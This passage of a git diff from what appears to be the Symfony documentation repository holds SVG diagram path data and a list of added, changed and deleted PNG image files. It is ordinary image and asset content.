0-1.04-.078-2.035-.234-2.985-.156-.957-.399-1.8-.719-2.53-.324-.727-.746-1.305-1.265-1.735-.524-.438-1.165-.656-1.922-.656-1.325 0-2.34.652-3.047 1.953-.7 1.293-1.047 3.277-1.047 5.953zm0 0"/></symbol><symbol overflow="visible" id="p"><path d="M4.61-11.984l-1.157-2.97h-.078l.297 2.97V0H1.734v-19.203h1.204l7 12.265 1.109 2.829h.11l-.298-2.829v-11.968h1.938V.297h-1.235zm0 0"/></symbol><symbol overflow="visible" id="q"><path d="M.969-1.156c0-.457.129-.817.39-1.078.258-.27.598-.407 1.016-.407.469 0 .848.188 1.14.563.301.375.454.969.454 1.781 0 .594-.078 1.129-.235 1.61a4.464 4.464 0 0 1-.593 1.25c-.243.363-.508.66-.797.89-.281.238-.559.41-.828.516l-.672-.922a3.047 3.047 0 0 0 1.172-1.188c.132-.25.238-.515.312-.796.07-.282.11-.555.11-.813-.368.102-.704.031-1.016-.219-.305-.25-.453-.644-.453-1.187zm0 0"/></symbol><symbol overflow="visible" id="r"><path d="M5.484-9.61L.938-18.905h2.437L6.313-12.5l.546 1.594.532-1.594 3.109-6.406h2.25l-4.703 9.11L12.953 0h-2.375L7.313-6.781l-.61-1.672-.578 1.672L2.781 0H.516zm0 0"/></symbol><symbol overflow="visible" id="s"><path d="M13.453-12.422l.235-2.86h-.11l-.86 2.673-3.812 8.203h-.672l-4-8.203-.828-2.672h-.11l.376 2.86V0H1.734v-18.906h1.688L7.984-9.61l.688 2.218h.047l.656-2.25 4.313-9.265h1.78V0h-2.015zm0 0"/></symbol><symbol overflow="visible" id="t"><path d="M10.828 0H1.734v-18.906H3.75V-1.86h7.078zm0 0"/></symbol><symbol overflow="visible" id="u"><path d="M11.61-.734c-.45.386-1.016.656-1.704.812-.68.164-1.398.25-2.156.25a6.61 6.61 0 0 1-2.656-.531c-.805-.363-1.496-.938-2.078-1.719C2.43-2.71 1.973-3.727 1.64-4.969c-.325-1.238-.485-2.734-.485-4.484 0-1.8.18-3.32.547-4.563.375-1.238.867-2.242 1.484-3.015.614-.782 1.317-1.336 2.11-1.672a6.237 6.237 0 0 1 2.484-.516c.864 0 1.578.063 2.14.188.563.125 1.052.277 1.47.453l-.485 1.844a4.668 4.668 0 0 0-1.265-.453 7.46 7.46 0 0 0-1.672-.172 3.96 3.96 0 0 0-1.797.422c-.555.273-1.047.718-1.484 1.343-.43.625-.766 1.446-1.016 2.453-.25 1-.375 2.23-.375 3.688 0 2.625.445 4.605 1.344 5.937C5.547-2.19 6.742-1.53 8.234-1.53c.614 0 1.16-.082 1.641-.25a5.257 5.257 0 0 0 1.25-.625zm0 0"/></symbol><symbol overflow="visible" id="v"><path d="M5.89-5.969l.485 2.89h.047l.547-2.937 3.5-12.89h2.094L6.827.297H5.75L-.047-18.906h2.235zm0 0"/></symbol><symbol overflow="visible" id="w"><path d="M1.297 5.125c.52-.793.969-1.684 1.344-2.672.382-.992.695-2.008.937-3.047.238-1.039.41-2.078.516-3.11.113-1.038.172-1.991.172-2.858 0-.915-.055-1.88-.157-2.891a25.039 25.039 0 0 0-.484-3.078 20.818 20.818 0 0 0-.906-3.078A17.562 17.562 0 0 0 1.297-18.5l1.219-.719A16.358 16.358 0 0 1 4.25-16.25c.477 1.063.86 2.148 1.14 3.25.29 1.105.5 2.21.626 3.313a27.58 27.58 0 0 1 .187 3.124c0 1.012-.062 2.07-.187 3.172A23.004 23.004 0 0 1 5.39-.094a19.529 19.529 0 0 1-1.125 3.172 14.483 14.483 0 0 1-1.704 2.86zm0 0"/></symbol><symbol overflow="visible" id="C"><path d="M1.594-18.906H3.53v6.437h.094c.727-.906 1.707-1.36 2.938-1.36 1.382 0 2.421.556 3.109 1.657.695 1.094 1.047 2.828 1.047 5.203 0 2.43-.465 4.242-1.39 5.438C8.398-.344 7.093.25 5.405.25a8.646 8.646 0 0 1-2.281-.281c-.68-.196-1.188-.422-1.531-.672zM3.53-1.97c.258.149.57.262.938.344.363.074.754.11 1.172.11.937 0 1.675-.442 2.218-1.329.551-.894.829-2.27.829-4.125 0-.77-.055-1.46-.157-2.078-.094-.625-.246-1.16-.453-1.61-.2-.456-.465-.804-.797-1.046-.336-.238-.734-.36-1.203-.36-.648 0-1.183.196-1.61.579-.429.386-.741.914-.937 1.578zm0 0"/></symbol><symbol overflow="visible" id="D"><path d="M1.938-13.5H3.89V.734c0 1.852-.297 3.188-.891 4-.594.82-1.559 1.133-2.89.938v-1.75c.394 0 .71-.086.953-.25.25-.168.44-.418.578-.75.132-.324.218-.735.25-1.235.03-.5.046-1.078.046-1.734zm-.375-4.11c0-.425.117-.773.359-1.046.25-.27.57-.407.969-.407.394 0 .722.133.984.391.258.262.39.617.39 1.063 0 .437-.132.777-.39 1.015-.262.242-.59.36-.984.36-.399 0-.72-.125-.97-.375-.241-.25-.359-.582-.359-1zm0 0"/></symbol><symbol overflow="visible" id="E"><path d="M9.672-.922c-.438.399-.992.703-1.656.922a6.735 6.735 0 0 1-2.11.328c-.843 0-1.578-.168-2.203-.5a4.194 4.194 0 0 1-1.531-1.422c-.406-.625-.703-1.367-.89-2.234C1.093-4.691 1-5.664 1-6.75c0-2.3.422-4.055 1.266-5.266.843-1.207 2.039-1.812 3.593-1.812.5 0 .993.062 1.485.187.5.125.945.383 1.343.766.395.375.711.906.954 1.594.25.68.375 1.57.375 2.672 0 .304-.016.632-.047.984-.024.355-.055.719-.094 1.094H3.031c0 .773.063 1.476.188 2.11.125.624.32 1.163.594 1.609.269.437.613.777 1.03 1.015.427.242.954.36 1.579.36.488 0 .973-.086 1.453-.266.477-.176.844-.39 1.094-.64zM8.156-8.156c.031-1.344-.164-2.328-.578-2.953-.406-.633-.969-.954-1.687-.954-.836 0-1.496.32-1.985.954-.48.625-.765 1.609-.86 2.953zm0 0"/></symbol><symbol overflow="visible" id="F"><path d="M9.047-.672c-.45.344-.965.594-1.547.75a6.504 6.504 0 0 1-1.797.25c-.867 0-1.594-.168-2.187-.5a3.927 3.927 0 0 1-1.454-1.422c-.367-.625-.636-1.375-.812-2.25C1.082-4.719 1-5.688 1-6.75c0-2.3.406-4.055 1.219-5.266.82-1.207 2-1.812 3.531-1.812.695 0 1.297.062 1.797.187.508.125.945.29 1.312.485l-.546 1.703a4.683 4.683 0 0 0-2.344-.61c-.969 0-1.703.43-2.203 1.282-.493.855-.735 2.199-.735 4.031 0 .742.051 1.434.156 2.078.102.649.282 1.211.532 1.688.258.48.586.859.984 1.14.395.274.89.407 1.484.407.47 0 .899-.079 1.297-.235a3.931 3.931 0 0 0 1-.562zm0 0"/></symbol><symbol overflow="visible" id="x"><path d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="y"><path d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="z"><path d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="B"><path d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="M"><path d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="N"><path d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="P"><path d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="Q"><path d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="R"><path d="M.578-1.172l3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol></defs><path fill="#fff" d="M0 0h482v402H0z"/><path d="M1 1h480v400H1zm0 0" fill-rule="evenodd" fill="#fff" stroke-width="2" stroke="#fff" stroke-miterlimit="10"/><path d="M167 170.809h148v60H167zm0 0M167 176.809v-6c-3.313 0-6 2.687-6 6zm0 0M315 176.809h6c0-3.313-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M161 176.809h160v48H161zm0 0M167 224.809h-6c0 3.316 2.688 6 6 6zm0 0M315 224.809v6c3.313 0 6-2.684 6-6zm0 0" fill-rule="evenodd" fill="#fddfbb"/><path d="M167 170.809h148M167 230.809h148M167 170.809c-3.312 0-6 2.687-6 6M321 176.809c0-3.313-2.687-6-6-6M161 176.809v48M321 176.809v48M161 224.809a6 6 0 0 0 6 6M315 230.809a6 6 0 0 0 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#a" x="223.031" y="208.762"/><use xlink:href="#b" x="232.484" y="208.762"/><use xlink:href="#b" x="237.973" y="208.762"/><use xlink:href="#c" x="243.461" y="208.762"/><use xlink:href="#d" x="251.469" y="208.762"/><path d="M32 308.957h418v63.707H32zm0 0M32 314.957v-6c-3.313 0-6 2.688-6 6zm0 0M450 314.957h6c0-3.312-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M26 314.957h430v51.707H26zm0 0M32 366.664h-6c0 3.313 2.688 6 6 6zm0 0M450 366.664v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M32 308.957h418M32 372.664h418M32 308.957c-3.313 0-6 2.688-6 6M456 314.957c0-3.312-2.687-6-6-6M26 314.957v51.707M456 314.957v51.707M26 366.664c0 3.313 2.687 6 6 6M450 372.664c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#e" x="127.289" y="351.477"/><use xlink:href="#f" x="138.441" y="351.477"/><use xlink:href="#g" x="150.102" y="351.477"/><use xlink:href="#h" x="157.504" y="351.477"/><use xlink:href="#i" x="175.082" y="351.477"/><use xlink:href="#j" x="185.883" y="351.477"/><use xlink:href="#k" x="193.305" y="351.477"/><use xlink:href="#l" x="199.027" y="351.477"/><use xlink:href="#m" x="205.316" y="351.477"/><use xlink:href="#n" x="211.82" y="351.477"/><use xlink:href="#o" x="223.383" y="351.477"/><use xlink:href="#p" x="238.207" y="351.477"/><use xlink:href="#q" x="252.738" y="351.477"/><use xlink:href="#k" x="256" y="351.477"/><use xlink:href="#r" x="261.098" y="351.477"/><use xlink:href="#s" x="274.594" y="351.477"/><use xlink:href="#t" x="291.801" y="351.477"/><use xlink:href="#q" x="303.012" y="351.477"/><use xlink:href="#k" x="306.273" y="351.477"/><use xlink:href="#u" x="311.996" y="351.477"/><use xlink:href="#n" x="324.359" y="351.477"/><use xlink:href="#v" x="335.922" y="351.477"/><use xlink:href="#w" x="348.422" y="351.477"/><path d="M221.379 248.586v50.851" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.379 248.586l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#x" x="271.188" y="253.488"/><use xlink:href="#y" x="278.629" y="253.488"/><use xlink:href="#z" x="286.539" y="253.488"/><use xlink:href="#A" x="292.652" y="253.488"/><use xlink:href="#B" x="300.426" y="253.488"/><use xlink:href="#x" x="308.219" y="253.488"/><g><use xlink:href="#B" x="169.305" y="293.488"/><use xlink:href="#x" x="177.098" y="293.488"/><use xlink:href="#z" x="184.422" y="293.488"/><use xlink:href="#A" x="190.535" y="293.488"/><use xlink:href="#B" x="198.309" y="293.488"/><use xlink:href="#x" x="206.102" y="293.488"/></g><path d="M100.29 112.105l-.216 188.805" fill="none" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M105.29 112.11l-4.993-10.005-5.008 9.993zm0 0" fill-rule="evenodd" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M32 28.957h418v63.707H32zm0 0M32 34.957v-6c-3.313 0-6 2.688-6 6zm0 0M450 34.957h6c0-3.312-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M26 34.957h430v51.707H26zm0 0M32 86.664h-6c0 3.313 2.688 6 6 6zm0 0M450 86.664v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M32 28.957h418M32 92.664h418M32 28.957c-3.313 0-6 2.688-6 6M456 34.957c0-3.312-2.687-6-6-6M26 34.957v51.707M456 34.957v51.707M26 86.664c0 3.313 2.687 6 6 6M450 92.664c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#o" x="210.844" y="71.477"/><use xlink:href="#C" x="225.668" y="71.477"/><use xlink:href="#D" x="237.387" y="71.477"/><use xlink:href="#E" x="243.188" y="71.477"/><use xlink:href="#F" x="254.145" y="71.477"/><use xlink:href="#j" x="263.754" y="71.477"/></g><g><use xlink:href="#G" x="16.973" y="207.512"/><use xlink:href="#H" x="25.625" y="207.512"/><use xlink:href="#I" x="33.887" y="207.512"/><use xlink:href="#H" x="40.645" y="207.512"/><use xlink:href="#b" x="48.906" y="207.512"/><use xlink:href="#J" x="54.395" y="207.512"/><use xlink:href="#c" x="58.73" y="207.512"/><use xlink:href="#K" x="66.738" y="207.512"/><use xlink:href="#J" x="71.406" y="207.512"/><use xlink:href="#L" x="75.742" y="207.512"/><use xlink:href="#H" x="82.734" y="207.512"/></g><g><use xlink:href="#I" x="389.355" y="207.512"/><use xlink:href="#H" x="396.113" y="207.512"/><use xlink:href="#b" x="404.375" y="207.512"/><use xlink:href="#J" x="409.863" y="207.512"/><use xlink:href="#c" x="414.199" y="207.512"/><use xlink:href="#K" x="422.207" y="207.512"/><use xlink:href="#J" x="426.875" y="207.512"/><use xlink:href="#L" x="431.211" y="207.512"/><use xlink:href="#H" x="438.203" y="207.512"/></g><path d="M265.625 99.867v49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M260.625 148.867l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M221.379 111.105v50.852" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.379 111.105l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#y" x="271.188" y="115.75"/><use xlink:href="#A" x="279.098" y="115.75"/><use xlink:href="#M" x="286.871" y="115.75"/><use xlink:href="#N" x="291.813" y="115.75"/><use xlink:href="#O" x="303.531" y="115.75"/><use xlink:href="#P" x="310.738" y="115.75"/><use xlink:href="#Q" x="314.938" y="115.75"/><use xlink:href="#R" x="318.844" y="115.75"/><use xlink:href="#x" x="325.133" y="115.75"/></g><g><use xlink:href="#B" x="136.902" y="155.75"/><use xlink:href="#x" x="144.695" y="155.75"/><use xlink:href="#y" x="152.137" y="155.75"/><use xlink:href="#A" x="160.047" y="155.75"/><use xlink:href="#M" x="167.82" y="155.75"/><use xlink:href="#N" x="172.762" y="155.75"/><use xlink:href="#O" x="184.48" y="155.75"/><use xlink:href="#P" x="191.688" y="155.75"/><use xlink:href="#Q" x="195.887" y="155.75"/><use xlink:href="#R" x="199.793" y="155.75"/><use xlink:href="#x" x="206.082" y="155.75"/></g><path d="M380.023 100.145l-.214 188.804" fill="none" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M374.809 288.945l4.988 10.004 5.012-9.992zm0 0" fill-rule="evenodd" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M265.625 237.348v49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M260.625 286.348l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/></svg> diff --git a/_images/components/var_dumper/10-uninitialized.png b/_images/components/var_dumper/10-uninitialized.png new file mode 100644 index 00000000000..735731b83b5 Binary files /dev/null and b/_images/components/var_dumper/10-uninitialized.png differ diff --git a/_images/components/workflow/blogpost.png b/_images/components/workflow/blogpost.png index 38e29250eb1..b7f51eabb43 100644 Binary files a/_images/components/workflow/blogpost.png and b/_images/components/workflow/blogpost.png differ diff --git a/_images/components/workflow/blogpost_mermaid.png b/_images/components/workflow/blogpost_mermaid.png new file mode 100644 index 00000000000..7a4d3a57cfe Binary files /dev/null and b/_images/components/workflow/blogpost_mermaid.png differ diff --git a/_images/components/workflow/blogpost_metadata.png b/_images/components/workflow/blogpost_metadata.png new file mode 100644 index 00000000000..783f51c6ccf Binary files /dev/null and b/_images/components/workflow/blogpost_metadata.png differ diff --git a/_images/components/workflow/blogpost_puml.png b/_images/components/workflow/blogpost_puml.png index 14d45c8b40f..efe543a6f8e 100644 Binary files a/_images/components/workflow/blogpost_puml.png and b/_images/components/workflow/blogpost_puml.png differ diff --git a/_images/components/workflow/states_transitions.png b/_images/components/workflow/states_transitions.png index 1e68f9ca597..d1f54391afd 100644 Binary files a/_images/components/workflow/states_transitions.png and b/_images/components/workflow/states_transitions.png differ diff --git a/_images/contributing/docs-github-create-pr.png b/_images/contributing/docs-github-create-pr.png index 29fe22f5dbd..43b6842ffc2 100644 Binary files a/_images/contributing/docs-github-create-pr.png and b/_images/contributing/docs-github-create-pr.png differ diff --git a/_images/contributing/docs-github-edit-page.png b/_images/contributing/docs-github-edit-page.png index c34f13f0889..b739497f70f 100644 Binary files a/_images/contributing/docs-github-edit-page.png and b/_images/contributing/docs-github-edit-page.png differ diff --git a/_images/contributing/docs-pull-request-change-base.png b/_images/contributing/docs-pull-request-change-base.png index d824e8ef1bc..791901b8ec6 100644 Binary files a/_images/contributing/docs-pull-request-change-base.png and b/_images/contributing/docs-pull-request-change-base.png differ diff --git a/_images/contributing/docs-pull-request-symfonycloud.png b/_images/contributing/docs-pull-request-symfonycloud.png deleted file mode 100644 index 0c485c1491c..00000000000 Binary files a/_images/contributing/docs-pull-request-symfonycloud.png and /dev/null differ diff --git a/_images/controller/error_pages/exceptions-in-dev-environment.png b/_images/controller/error_pages/exceptions-in-dev-environment.png index 74128990e57..e1fba2bebf9 100644 Binary files a/_images/controller/error_pages/exceptions-in-dev-environment.png and b/_images/controller/error_pages/exceptions-in-dev-environment.png differ diff --git a/_images/docs-pull-request-change-base.png b/_images/docs-pull-request-change-base.png deleted file mode 100644 index d824e8ef1bc..00000000000 Binary files a/_images/docs-pull-request-change-base.png and /dev/null differ diff --git a/_images/doctrine/mapping_relations.png b/_images/doctrine/mapping_relations.png deleted file mode 100644 index a679f9cb317..00000000000 Binary files a/_images/doctrine/mapping_relations.png and /dev/null differ diff --git a/_images/doctrine/mapping_relations.svg b/_images/doctrine/mapping_relations.svg new file mode 100644 index 00000000000..7dc8979cb1a --- /dev/null +++ b/_images/doctrine/mapping_relations.svg @@ -0,0 +1,602 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="441pt" height="407pt" viewBox="0 0 441 407" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 